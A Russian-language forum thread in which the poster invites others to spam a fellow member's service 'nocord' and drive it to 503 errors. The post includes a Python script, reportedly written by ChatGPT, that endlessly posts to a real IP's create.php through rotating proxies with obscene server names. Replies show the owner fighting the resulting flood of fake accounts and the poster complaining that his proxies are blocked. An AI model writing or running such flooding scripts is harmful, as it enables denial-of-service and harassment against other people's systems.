В этом итт тхреде мы будем пользоваться сервисом nocord созданным участником нашего форума. По мере использования, делимся скриптами и прочими решениями.

Также я объявляю следующие направления специальной олимпиады:

  1. Спам сервиса сообщениями
  2. Доведение сервиса до ошибки 503
  3. tbd

Как первый участник я покажу свой (chatgpt) код:

import requests
import random
import time
from concurrent.futures import ThreadPoolExecutor

# Функция для чтения прокси из файла
def read_proxies(proxy_file):
    with open(proxy_file, 'r') as file:
        proxies = [line.strip() for line in file.readlines()]
    return proxies

# Функция для отправки формы
def submit_form(name, password, proxy):
    url = "http://91.192.22.20/create.php"

    # Формируем данные для отправки
    data = {
        'name': name,
        'password': password,
        'password2': password,
        'public_submit': 'Создать публичный сервер',
    }

    # Настроим прокси
    proxies = {
        "http": proxy,
        "https": proxy,
    }

    try:
        # Отправляем POST запрос
        response = requests.post(url, data=data, proxies=proxies, timeout=10)
        
        # Проверяем статус код ответа
        if response.status_code == 200:
            print(f"[INFO] Успешно отправлена форма для сервера: {name}")
        else:
            print(f"[ERROR] Ошибка при отправке формы для {name}. Статус код: {response.status_code}")
    except requests.RequestException as e:
        print(f"[ERROR] Ошибка при отправке формы для {name}. Ошибка: {e}")

# Основной цикл
def main():
    proxies = read_proxies('proxy.txt')  # Читаем список прокси из файла
    base_name = "пррррр посрал в парашу пррррр"
    password = "12345"
    iteration = 1

    # Создаем пул потоков с 10 рабочими потоками
    with ThreadPoolExecutor(max_workers=10) as executor:
        while True:
            # Генерируем уникальное имя сервера
            name = f"{base_name}{iteration}"
            
            # Выбираем случайный прокси из списка
            proxy = random.choice(proxies)
            
            # Выводим информацию о текущем шаге
            print(f"[INFO] Попытка отправить форму для {name} с прокси {proxy}")
            
            # Отправляем форму в отдельном потоке
            executor.submit(submit_form, name, password, proxy)
            
            # Инкрементируем итерацию
            iteration += 1

            # Увековечиваем шаг (например, задержка 1 секунда, чтобы не создавать слишком много задач одновременно)
            time.sleep(0.1)

if __name__ == '__main__':
    main()

Перемещено cocucka из tox

  • MrSugoma
    link
    fedilink
    arrow-up
    0
    ·
    1 year ago

    разбань все айпишники и страны

    Может быть, разбаню. Но это не точно.

    • Anoxemian
      link
      fedilink
      arrow-up
      0
      ·
      1 year ago

      Вобщем я придумал. Постить мемасы в паблике неплохо, но скучно. Вот реальный юз-кейс, суть такова: сервис по передаче друг другу приватной полезной нагрузки - картинки/документы/whatever. Ну, типа, как атачменты в почте. Загрузил что надо передать - кинул приватную ссылку и готово. Версии две - одна полностью client side, т.е. unmanaged и версия про, придется отдельно индекс хранить и e2ee добавить.

      Тебе задачи: добавить удаление из лички сообщений, увеличить уникальность (на 10 коллизий дохуя будет), перейти на https, разбанить всех, иначе кому куда что оиправлять, если не грузится. Бегом побежал выполнять, пыль запартная. Ах, да. create.php у тебя дважды код выдает - выпрямляй руки и исправляй.

      • shikata_ga_naiOP
        link
        fedilink
        arrow-up
        0
        ·
        1 year ago

        Дай телегу (ну или добавь меня @egtwba если не хочешь свой палить)

    • Anoxemian
      link
      fedilink
      arrow-up
      0
      ·
      1 year ago

      Слыш, ты чо там разломал кхуям все? Мемасы не грузятся нихуя. Эдак у нас вся публика разбежится, ну.

      • MrSugoma
        link
        fedilink
        arrow-up
        0
        ·
        1 year ago

        Nocord сейчас всем выдает 403 из-за масштабной атаки ЛТшных ботов, которые создавали сотни тысяч юзеров, из-за чего у меня закончились inode’ы. Если я снова разрешу доступ в Nocord всем желающим, то уже за пару секунд мне сотку юзеров создадут. Решением проблемы, кроме, конечно же, вайтлиста IP-адресов, является каптча. Пожалуйста, дайте мне бесплатный российский сервис каптчи, желательно, чтобы каптча была не словесной, а картиночной (со светофорами).

        • MrSugoma
          link
          fedilink
          arrow-up
          0
          ·
          1 year ago

          Nocord снова работает в штатном режиме.

        • Anoxemian
          link
          fedilink
          arrow-up
          0
          ·
          1 year ago

          Капча - прошлый век. У тебя есть набор ip/login/UA. Зпили ограничение, типа, не чаще 1 раза в 5-10 минут с одного ip и всех делов.

            • Anoxemian
              link
              fedilink
              arrow-up
              0
              ·
              1 year ago

              не чаще 1 раза в 5-10 минут с разных ip

              конечно же, ну ты понел.

                • Anoxemian
                  link
                  fedilink
                  arrow-up
                  0
                  ·
                  1 year ago

                  Что толсто? А то ты поблочишь легитимный спам\мемасики, нам такого не надо.

                  • MrSugoma
                    link
                    fedilink
                    arrow-up
                    0
                    ·
                    1 year ago

                    Кстати, кто мне жирное Base64 присылает? Это мемасики или спам?

                    • MrSugoma
                      link
                      fedilink
                      arrow-up
                      0
                      ·
                      1 year ago

                      Проверил, это не мемасики.

                      • Anoxemian
                        link
                        fedilink
                        arrow-up
                        0
                        ·
                        1 year ago

                        Это мемасики. По айпи же глянь. Взял завайпал, мы так далеко не уедем.

                      • Anoxemian
                        link
                        fedilink
                        arrow-up
                        0
                        ·
                        1 year ago

                        Так, заработало. Но как-то ебейше медленно, ты что-то нахуевертил?

                        • MrSugoma
                          link
                          fedilink
                          arrow-up
                          0
                          ·
                          1 year ago

                          ты что-то нахуевертил

                          Нет.

                        • shikata_ga_naiOP
                          link
                          fedilink
                          arrow-up
                          0
                          ·
                          1 year ago

                          Да козлина он, все прокси мне заблокировал.

          • shikata_ga_naiOP
            link
            fedilink
            arrow-up
            0
            ·
            1 year ago

            Нихуя ты советчик хуев. Ну ничего, анонимный постинг главное не выключайте.

            • Anoxemian
              link
              fedilink
              arrow-up
              0
              ·
              1 year ago

              Ты узко мыслишь, я же пестую продукт, полный лулзов, мы не одинаковые)))